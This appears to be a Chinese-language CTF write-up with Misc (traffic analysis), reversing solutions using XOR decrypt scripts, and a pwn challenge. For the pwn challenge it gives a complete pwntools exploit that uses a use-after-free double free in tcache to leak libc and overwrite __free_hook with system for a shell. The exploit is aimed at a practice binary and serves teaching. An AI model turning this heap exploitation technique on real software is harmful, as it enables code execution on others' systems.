Misc

6G 签到题

不需要下载整个文件。点击下载后,就可以停了。然后 winhex 打开下载缓存文件,查看十六进制内容,发现惊喜。

blueshack

流量分析题目,流量包是蓝牙流量。

找到一个压缩包,复制粘贴提取出来。(7z 文件头是:37 7a bc af)

压缩包加密,提示是蓝牙连接的 PIN 码,就返回开头选择 PIN 校验数据流

Re

easyre

加密函数与校验函数如下:

1
2
3
4
5
6
for ( i = 0; i < strlen(&v5); ++i )
v6[i - 112] = (v6[i - 112] ^ 6) + 1;
if ( !strcmp(&v5, "akhb~chdaZrdaZudqduvdZvvv|") )
std::operator<<<std::char_traits<char>>(&std::cout, "yes!you are right");
else
std::operator<<<std::char_traits<char>>(&std::cout, "try again");

输入字符串逐字符异或 6 + 1 加密后,与密文对比。

解密脚本如下:

1
2
3
4
5
m = "akhb~chdaZrdaZudqduvdZvvv|"

for i in m:
flag = chr((ord(i)-1)^6)
print(flag,end='')

re2

主要功能函数如下:自定义输入 10 个以上的加密参数,利用参数生成一个密钥,密钥与明文异或输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ( v11 <= 9 )                               // 加密参数个数大于9个
return '\xFF\xFF\xFF\xFF';
v15 = operator new[](v11);
for ( i = 0; i < v11; ++i ) // 获取v11个加密参数
std::operator>><char,std::char_traits<char>>(&std::cin, i + v15);// 加密参数在v15
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "You have input sth.", v5);
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "I will mix them with the enc_flag!", v7);
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
for ( j = 0; j <= 37; ++j )
{
v10 = 0;
for ( k = 0; k < v11; ++k ) // 加密v11轮
v10 ^= *(_BYTE *)(k + v15);
putchar(v10 ^ (unsigned __int8)*(&v16 + j));
}
std::operator<<<std::char_traits<char>>(&std::cout, "\nMaybe you have found the `flag`\n", v9);

这里我是观察到,10 个 参数全为 1 或 2 ,输出值不变。然后根据前面 flag 形式推测 flag 结构为 flag{} 。然后密文输出第一个是 & ,应该对应 f ,也就是异或 64 就解出来 flag 。

解密脚本

1
2
3
4
v16 = [0x26,0x2C,0x21,0x27,0x3B,0x23,0x22,0x73,0x75,0x72,113,33,36,117,118,119,35,120,38,114,117,113,38,34,113,114,117,114,36,112,115,118,121,112,35,37,121,61]
enc = ['&',',','!',"'",';','#','"','s','u','r','q','!','$','u','v','w','#','x','&','r','u','q','&','"','q','r','u','r','$','p','s','v','y','p','#','%','y','=']
for i in v16:
print(chr(i^64),end='')

Pwn

sales_office

考点:UAF–》DoubleFree,tcache

一开始看以为利用点是在 buy 函数。创建堆失败后,结构体的堆未被删除。最后是 sell 函数没有将 free 的堆指针置零。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sell()
{
signed int v1; // [rsp+Ch] [rbp-4h]
puts("index:");
v1 = read_int("index:");
if ( v1 < 0 || v1 > 12 )
exit(0);
if ( area[v1] )
{
free(*area[v1]); // 存储堆
free(area[v1]); // 索引堆
}
return puts("Done!");
}

泄露地址

题目有输出函数,就把索引堆的 fd 指针覆写为函数 got 地址。覆写的方法比较巧妙。

首先 Double Free 布置 tcache :

1
2
3
free(2)	#维持tcache数量
free(0)
free(0)

完成效果:chunk1 index -> chunk1 data –> chunk1 index -> chunk1 data

布置 chunk1 data fd 指向 chunk2 data fd ,然后 malloc chunk1 index :

1
2
buy(0x10,p64(heap_base+0x2e0))
buy(0x40,p64(0xdeadbeef))

修改 chunk2 index fd 指向 malloc@got.plt ,泄露函数 got 表地址:

1
2
buy(0x10,p64(elf.got['malloc']))#chunk1
show(2)

后面修改 got 表地址方法同上。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#encodig:utf-8
from pwn import *
context.log_level = 'debug'

p = process("./sales_office")
elf = ELF("./sales_office")
#libc = ELF("./libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def buy(size,content):
p.sendlineafter('choice:','1')
p.sendlineafter('house:',str(size))
p.sendafter('your house:',content)
def show(index):
p.sendlineafter('choice:','3')
p.sendlineafter('index:',str(index))
def sell(index):
p.sendlineafter('choice:','4')
p.sendlineafter('index:',str(index))

buy(0x10,'a'*0x10) #0
buy(0x10,'b'*0x10) #1
buy(0x10,'c'*0x10) #2
buy(0x10,'d'*0x10) #3
buy(0x10,'/bin/sh\x00') #4

sell(0) #维持tcache数量平衡
sell(1)
sell(1)
show(1)

p.recvuntil('house:\n')
heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x2a0
log.info('HEAP:'+ hex(heap_base))
buy(0x10,p64(heap_base+0x2e0))
buy(0x40,p64(0xdeadbeef))
buy(0x10,p64(elf.got['malloc']))#chunk1
show(2)
p.recvuntil('house:\n')
malloc_leak = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
log.info("malloc_leak:"+hex(malloc_leak))

libc_base = malloc_leak - libc.symbols['malloc']
log.info("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:"+hex(system))
free_hook = libc_base + libc.symbols['__free_hook']
log.info("__free_hook:"+hex(free_hook))

sell(3)
sell(3)

buy(0x10,p64(free_hook))
buy(0x20,p64(0xdeadbeef))
buy(0x10,p64(system))
sell(4)

p.interactive()